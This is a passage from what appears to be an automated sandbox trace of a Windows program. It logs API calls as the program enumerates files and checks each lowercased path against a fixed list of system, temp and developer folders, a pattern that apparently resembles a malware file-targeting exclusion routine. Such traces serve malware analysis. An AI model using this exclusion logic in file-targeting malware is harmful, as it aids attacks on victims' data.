returned 0x0 [0120.065] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.065] CharLowerBuffW (in: lpsz="C:\\Windows\\Prefetch\\AgGlGlobalHistory.db", cchLength=0x29 | out: lpsz="c:\\windows\\prefetch\\agglglobalhistory.db") returned 0x29 [0120.066] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.066] CharLowerBuffW (in: lpsz="C:\\Windows\\Prefetch\\AgGlGlobalHistory.db", cchLength=0x29 | out: lpsz="c:\\windows\\prefetch\\agglglobalhistory.db") returned 0x29 [0120.066] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.066] CharLowerBuffW (in: lpsz="C:\\Windows\\Prefetch\\AgGlGlobalHistory.db", cchLength=0x29 | out: lpsz="c:\\windows\\prefetch\\agglglobalhistory.db") returned 0x29 [0120.066] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.066] CharLowerBuffW (in: lpsz="C:\\Windows\\Prefetch\\AgGlGlobalHistory.db", cchLength=0x29 | out: lpsz="c:\\windows\\prefetch\\agglglobalhistory.db") returned 0x29 [0120.083] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.128] CharLowerBuffW (in: lpsz="C:\\Windows\\Prefetch\\AgGlGlobalHistory.db", cchLength=0x29 | out: lpsz="c:\\windows\\prefetch\\agglglobalhistory.db") returned 0x29 [0120.128] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.128] CharLowerBuffW (in: lpsz="C:\\Windows\\Prefetch\\AgGlGlobalHistory.db", cchLength=0x29 | out: lpsz="c:\\windows\\prefetch\\agglglobalhistory.db") returned 0x29 [0120.128] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.128] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.128] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.128] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.129] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.129] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.129] GetLastError () returned 0x0 [0120.129] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb7a, cbMultiByte=1, lpWideCharStr=0x18eb68, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.129] lstrcpynW (in: lpString1=0x1433584, lpString2="AgGlFaultHistory.db", iMaxLength=20 | out: lpString1="AgGlFaultHistory.db") returned="AgGlFaultHistory.db" [0120.129] GetLastError () returned 0x0 [0120.130] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.130] GetLastError () returned 0x0 [0120.130] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.130] NtQueryInformationFile (in: FileHandle=0x2c4, IoStatusBlock=0x18eb08, FileInformation=0x14dbf60, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x14dbf60) returned 0x0 [0120.130] GetLastError () returned 0x0 [0120.130] GetLastError () returned 0x0 [0120.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea9e, cbMultiByte=1, lpWideCharStr=0x18ea8c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.131] lstrcpynW (in: lpString1=0x14b46bc, lpString2="\\Windows\\Prefetch", iMaxLength=18 | out: lpString1="\\Windows\\Prefetch") returned="\\Windows\\Prefetch" [0120.131] GetLastError () returned 0x0 [0120.131] CloseHandle (hObject=0x2c4) returned 1 [0120.131] GetLastError () returned 0x0 [0120.131] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.131] CharLowerBuffW (in: lpsz="C:\\Windows\\Prefetch\\AgGlFaultHistory.db", cchLength=0x28 | out: lpsz="c:\\windows\\prefetch\\agglfaulthistory.db") returned 0x28 [0120.131] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.131] CharLowerBuffW (in: lpsz="C:\\Windows\\Prefetch\\AgGlFaultHistory.db", cchLength=0x28 | out: lpsz="c:\\windows\\prefetch\\agglfaulthistory.db") returned 0x28 [0120.131] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.132] CharLowerBuffW (in: lpsz="C:\\Windows\\Prefetch\\AgGlFaultHistory.db", cchLength=0x28 | out: lpsz="c:\\windows\\prefetch\\agglfaulthistory.db") returned 0x28 [0120.132] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.132] CharLowerBuffW (in: lpsz="C:\\Windows\\Prefetch\\AgGlFaultHistory.db", cchLength=0x28 | out: lpsz="c:\\windows\\prefetch\\agglfaulthistory.db") returned 0x28 [0120.132] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.132] CharLowerBuffW (in: lpsz="C:\\Windows\\Prefetch\\AgGlFaultHistory.db", cchLength=0x28 | out: lpsz="c:\\windows\\prefetch\\agglfaulthistory.db") returned 0x28 [0120.132] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.132] CharLowerBuffW (in: lpsz="C:\\Windows\\Prefetch\\AgGlFaultHistory.db", cchLength=0x28 | out: lpsz="c:\\windows\\prefetch\\agglfaulthistory.db") returned 0x28 [0120.132] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.132] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.132] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.132] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.132] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.132] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.133] GetLastError () returned 0x0 [0120.133] GetLastError () returned 0x0 [0120.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb7a, cbMultiByte=1, lpWideCharStr=0x18eb68, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.133] lstrcpynW (in: lpString1=0x14b4794, lpString2="AgGlFgAppHistory.db", iMaxLength=20 | out: lpString1="AgGlFgAppHistory.db") returned="AgGlFgAppHistory.db" [0120.133] GetLastError () returned 0x0 [0120.133] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.133] GetLastError () returned 0x0 [0120.133] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.133] NtQueryInformationFile (in: FileHandle=0x2c4, IoStatusBlock=0x18eb08, FileInformation=0x14dbf60, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x14dbf60) returned 0x0 [0120.133] GetLastError () returned 0x0 [0120.134] GetLastError () returned 0x0 [0120.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea9e, cbMultiByte=1, lpWideCharStr=0x18ea8c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.134] lstrcpynW (in: lpString1=0x1433584, lpString2="\\Windows\\Prefetch", iMaxLength=18 | out: lpString1="\\Windows\\Prefetch") returned="\\Windows\\Prefetch" [0120.134] GetLastError () returned 0x0 [0120.134] CloseHandle (hObject=0x2c4) returned 1 [0120.134] GetLastError () returned 0x0 [0120.134] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.134] CharLowerBuffW (in: lpsz="C:\\Windows\\Prefetch\\AgGlFgAppHistory.db", cchLength=0x28 | out: lpsz="c:\\windows\\prefetch\\agglfgapphistory.db") returned 0x28 [0120.134] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.134] CharLowerBuffW (in: lpsz="C:\\Windows\\Prefetch\\AgGlFgAppHistory.db", cchLength=0x28 | out: lpsz="c:\\windows\\prefetch\\agglfgapphistory.db") returned 0x28 [0120.134] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.134] CharLowerBuffW (in: lpsz="C:\\Windows\\Prefetch\\AgGlFgAppHistory.db", cchLength=0x28 | out: lpsz="c:\\windows\\prefetch\\agglfgapphistory.db") returned 0x28 [0120.135] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.135] CharLowerBuffW (in: lpsz="C:\\Windows\\Prefetch\\AgGlFgAppHistory.db", cchLength=0x28 | out: lpsz="c:\\windows\\prefetch\\agglfgapphistory.db") returned 0x28 [0120.135] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.135] CharLowerBuffW (in: lpsz="C:\\Windows\\Prefetch\\AgGlFgAppHistory.db", cchLength=0x28 | out: lpsz="c:\\windows\\prefetch\\agglfgapphistory.db") returned 0x28 [0120.135] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.135] CharLowerBuffW (in: lpsz="C:\\Windows\\Prefetch\\AgGlFgAppHistory.db", cchLength=0x28 | out: lpsz="c:\\windows\\prefetch\\agglfgapphistory.db") returned 0x28 [0120.135] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.135] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.135] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.135] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.135] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.135] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.135] GetLastError () returned 0x0 [0120.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb7a, cbMultiByte=1, lpWideCharStr=0x18eb68, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.136] lstrcpynW (in: lpString1=0x14b498c, lpString2="fwtsqmfile06.sqm", iMaxLength=17 | out: lpString1="fwtsqmfile06.sqm") returned="fwtsqmfile06.sqm" [0120.136] GetLastError () returned 0x0 [0120.136] GetLastError () returned 0x0 [0120.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb7a, cbMultiByte=1, lpWideCharStr=0x18eb68, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.136] lstrcpynW (in: lpString1=0x143676c, lpString2="desktop.ini", iMaxLength=12 | out: lpString1="desktop.ini") returned="desktop.ini" [0120.136] GetLastError () returned 0x0 [0120.137] GetLastError () returned 0x0 [0120.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb7a, cbMultiByte=1, lpWideCharStr=0x18eb68, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.137] lstrcpynW (in: lpString1=0x14b4794, lpString2="RacWmiDatabase.sdfh", iMaxLength=19 | out: lpString1="RacWmiDatabase.sdf") returned="RacWmiDatabase.sdf" [0120.137] GetLastError () returned 0x0 [0120.137] GetLastError () returned 0x0 [0120.137] GetLastError () returned 0x0 [0120.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb7a, cbMultiByte=1, lpWideCharStr=0x18eb68, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.138] lstrcpynW (in: lpString1=0x142fffc, lpString2="poqexec.log", iMaxLength=12 | out: lpString1="poqexec.log") returned="poqexec.log" [0120.138] GetLastError () returned 0x0 [0120.138] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="๰", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.138] GetLastError () returned 0x0 [0120.138] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.138] NtQueryInformationFile (in: FileHandle=0x2c4, IoStatusBlock=0x18eb08, FileInformation=0x14dbf60, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x14dbf60) returned 0x0 [0120.138] GetLastError () returned 0x0 [0120.138] GetLastError () returned 0x0 [0120.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea9e, cbMultiByte=1, lpWideCharStr=0x18ea8c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.139] lstrcpynW (in: lpString1=0x14b4794, lpString2="\\Windows\\winsxs", iMaxLength=16 | out: lpString1="\\Windows\\winsxs") returned="\\Windows\\winsxs" [0120.139] GetLastError () returned 0x0 [0120.139] CloseHandle (hObject=0x2c4) returned 1 [0120.139] GetLastError () returned 0x0 [0120.139] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.139] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\poqexec.log", cchLength=0x1e | out: lpsz="c:\\windows\\winsxs\\poqexec.log") returned 0x1e [0120.139] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.139] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\poqexec.log", cchLength=0x1e | out: lpsz="c:\\windows\\winsxs\\poqexec.log") returned 0x1e [0120.139] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.140] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\poqexec.log", cchLength=0x1e | out: lpsz="c:\\windows\\winsxs\\poqexec.log") returned 0x1e [0120.140] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.140] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\poqexec.log", cchLength=0x1e | out: lpsz="c:\\windows\\winsxs\\poqexec.log") returned 0x1e [0120.140] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.140] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\poqexec.log", cchLength=0x1e | out: lpsz="c:\\windows\\winsxs\\poqexec.log") returned 0x1e [0120.140] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.140] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\poqexec.log", cchLength=0x1e | out: lpsz="c:\\windows\\winsxs\\poqexec.log") returned 0x1e [0120.140] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.140] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.140] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.140] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.140] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.141] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.141] GetLastError () returned 0x0 [0120.141] GetLastError () returned 0x0 [0120.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb7a, cbMultiByte=1, lpWideCharStr=0x18eb68, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.141] lstrcpynW (in: lpString1=0x14da79c, lpString2="NTUSER.DATP", iMaxLength=11 | out: lpString1="NTUSER.DAT") returned="NTUSER.DAT" [0120.141] GetLastError () returned 0x0 [0120.141] GetLastError () returned 0x0 [0120.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb7a, cbMultiByte=1, lpWideCharStr=0x18eb68, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.142] lstrcpynW (in: lpString1=0x142fffc, lpString2="ntuser.iniH", iMaxLength=11 | out: lpString1="ntuser.ini") returned="ntuser.ini" [0120.142] GetLastError () returned 0x0 [0120.142] GetLastError () returned 0x0 [0120.142] GetLastError () returned 0x0 [0120.142] GetLastError () returned 0x0 [0120.142] GetLastError () returned 0x0 [0120.142] GetLastError () returned 0x0 [0120.142] GetLastError () returned 0x0 [0120.142] GetLastError () returned 0x0 [0120.143] GetLastError () returned 0x0 [0120.143] GetLastError () returned 0x0 [0120.143] GetLastError () returned 0x0 [0120.143] GetLastError () returned 0x0 [0120.143] GetLastError () returned 0x0 [0120.143] GetLastError () returned 0x0 [0120.143] GetLastError () returned 0x0 [0120.143] GetLastError () returned 0x0 [0120.143] GetLastError () returned 0x0 [0120.143] GetLastError () returned 0x0 [0120.143] GetLastError () returned 0x0 [0120.143] GetLastError () returned 0x0 [0120.144] GetLastError () returned 0x0 [0120.144] GetLastError () returned 0x0 [0120.144] GetLastError () returned 0x0 [0120.144] GetLastError () returned 0x0 [0120.144] GetLastError () returned 0x0 [0120.144] GetLastError () returned 0x0 [0120.144] GetLastError () returned 0x0 [0120.144] GetLastError () returned 0x0 [0120.145] GetLastError () returned 0x0 [0120.145] GetLastError () returned 0x0 [0120.145] GetLastError () returned 0x0 [0120.145] GetLastError () returned 0x0 [0120.145] GetLastError () returned 0x0 [0120.145] GetLastError () returned 0x0 [0120.145] GetLastError () returned 0x0 [0120.145] GetLastError () returned 0x0 [0120.145] GetLastError () returned 0x0 [0120.145] GetLastError () returned 0x0 [0120.145] GetLastError () returned 0x0 [0120.145] GetLastError () returned 0x0 [0120.146] GetLastError () returned 0x0 [0120.146] GetLastError () returned 0x0 [0120.146] GetLastError () returned 0x0 [0120.146] GetLastError () returned 0x0 [0120.146] GetLastError () returned 0x0 [0120.146] GetLastError () returned 0x0 [0120.146] GetLastError () returned 0x0 [0120.146] GetLastError () returned 0x0 [0120.146] GetLastError () returned 0x0 [0120.146] GetLastError () returned 0x0 [0120.146] GetLastError () returned 0x0 [0120.146] GetLastError () returned 0x0 [0120.147] GetLastError () returned 0x0 [0120.147] GetLastError () returned 0x0 [0120.147] GetLastError () returned 0x0 [0120.147] GetLastError () returned 0x0 [0120.147] GetLastError () returned 0x0 [0120.147] GetLastError () returned 0x0 [0120.147] GetLastError () returned 0x0 [0120.147] GetLastError () returned 0x0 [0120.147] GetLastError () returned 0x0 [0120.147] GetLastError () returned 0x0 [0120.147] GetLastError () returned 0x0 [0120.148] GetLastError () returned 0x0 [0120.148] GetLastError () returned 0x0 [0120.148] GetLastError () returned 0x0 [0120.148] GetLastError () returned 0x0 [0120.148] GetLastError () returned 0x0 [0120.148] GetLastError () returned 0x0 [0120.148] GetLastError () returned 0x0 [0120.148] GetLastError () returned 0x0 [0120.148] GetLastError () returned 0x0 [0120.148] GetLastError () returned 0x0 [0120.148] GetLastError () returned 0x0 [0120.148] GetLastError () returned 0x0 [0120.149] GetLastError () returned 0x0 [0120.149] GetLastError () returned 0x0 [0120.149] GetLastError () returned 0x0 [0120.149] GetLastError () returned 0x0 [0120.149] GetLastError () returned 0x0 [0120.149] GetLastError () returned 0x0 [0120.149] GetLastError () returned 0x0 [0120.149] GetLastError () returned 0x0 [0120.149] GetLastError () returned 0x0 [0120.149] GetLastError () returned 0x0 [0120.149] GetLastError () returned 0x0 [0120.149] GetLastError () returned 0x0 [0120.150] GetLastError () returned 0x0 [0120.150] GetLastError () returned 0x0 [0120.150] GetLastError () returned 0x0 [0120.150] GetLastError () returned 0x0 [0120.150] GetLastError () returned 0x0 [0120.150] GetLastError () returned 0x0 [0120.150] GetLastError () returned 0x0 [0120.150] GetLastError () returned 0x0 [0120.150] GetLastError () returned 0x0 [0120.150] GetLastError () returned 0x0 [0120.151] GetLastError () returned 0x0 [0120.151] GetLastError () returned 0x0 [0120.151] GetLastError () returned 0x0 [0120.151] GetLastError () returned 0x0 [0120.151] GetLastError () returned 0x0 [0120.151] GetLastError () returned 0x0 [0120.151] GetLastError () returned 0x0 [0120.151] GetLastError () returned 0x0 [0120.151] GetLastError () returned 0x0 [0120.151] GetLastError () returned 0x0 [0120.151] GetLastError () returned 0x0 [0120.151] GetLastError () returned 0x0 [0120.152] GetLastError () returned 0x0 [0120.152] GetLastError () returned 0x0 [0120.152] GetLastError () returned 0x0 [0120.152] GetLastError () returned 0x0 [0120.152] GetLastError () returned 0x0 [0120.152] GetLastError () returned 0x0 [0120.152] GetLastError () returned 0x0 [0120.152] GetLastError () returned 0x0 [0120.152] GetLastError () returned 0x0 [0120.152] GetLastError () returned 0x0 [0120.152] GetLastError () returned 0x0 [0120.153] GetLastError () returned 0x0 [0120.153] GetLastError () returned 0x0 [0120.153] GetLastError () returned 0x0 [0120.153] GetLastError () returned 0x0 [0120.153] GetLastError () returned 0x0 [0120.153] GetLastError () returned 0x0 [0120.153] GetLastError () returned 0x0 [0120.153] GetLastError () returned 0x0 [0120.153] GetLastError () returned 0x0 [0120.153] GetLastError () returned 0x0 [0120.153] GetLastError () returned 0x0 [0120.154] GetLastError () returned 0x0 [0120.154] GetLastError () returned 0x0 [0120.154] GetLastError () returned 0x0 [0120.154] GetLastError () returned 0x0 [0120.154] GetLastError () returned 0x0 [0120.154] GetLastError () returned 0x0 [0120.154] GetLastError () returned 0x0 [0120.154] GetLastError () returned 0x0 [0120.154] GetLastError () returned 0x0 [0120.154] GetLastError () returned 0x0 [0120.154] GetLastError () returned 0x0 [0120.154] GetLastError () returned 0x0 [0120.155] GetLastError () returned 0x0 [0120.155] GetLastError () returned 0x0 [0120.155] GetLastError () returned 0x0 [0120.155] GetLastError () returned 0x0 [0120.155] GetLastError () returned 0x0 [0120.155] GetLastError () returned 0x0 [0120.155] GetLastError () returned 0x0 [0120.155] GetLastError () returned 0x0 [0120.155] GetLastError () returned 0x0 [0120.155] GetLastError () returned 0x0 [0120.155] GetLastError () returned 0x0 [0120.155] GetLastError () returned 0x0 [0120.156] GetLastError () returned 0x0 [0120.156] GetLastError () returned 0x0 [0120.156] GetLastError () returned 0x0 [0120.156] GetLastError () returned 0x0 [0120.156] GetLastError () returned 0x0 [0120.156] GetLastError () returned 0x0 [0120.156] GetLastError () returned 0x0 [0120.156] GetLastError () returned 0x0 [0120.156] GetLastError () returned 0x0 [0120.156] GetLastError () returned 0x0 [0120.156] GetLastError () returned 0x0 [0120.156] GetLastError () returned 0x0 [0120.156] GetLastError () returned 0x0 [0120.157] GetLastError () returned 0x0 [0120.157] GetLastError () returned 0x0 [0120.157] GetLastError () returned 0x0 [0120.157] GetLastError () returned 0x0 [0120.157] GetLastError () returned 0x0 [0120.157] GetLastError () returned 0x0 [0120.157] GetLastError () returned 0x0 [0120.157] GetLastError () returned 0x0 [0120.158] lstrcpynW (in: lpString1=0x14da79c, lpString2="Roses.htm", iMaxLength=10 | out: lpString1="Roses.htm") returned="Roses.htm" [0120.158] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ȓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.159] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.208] lstrcpynW (in: lpString1=0x144bb04, lpString2="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery", iMaxLength=76 | out: lpString1="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery" [0120.208] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.208] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", cchLength=0x58 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm") returned 0x58 [0120.208] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.208] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", cchLength=0x58 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm") returned 0x58 [0120.209] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.209] 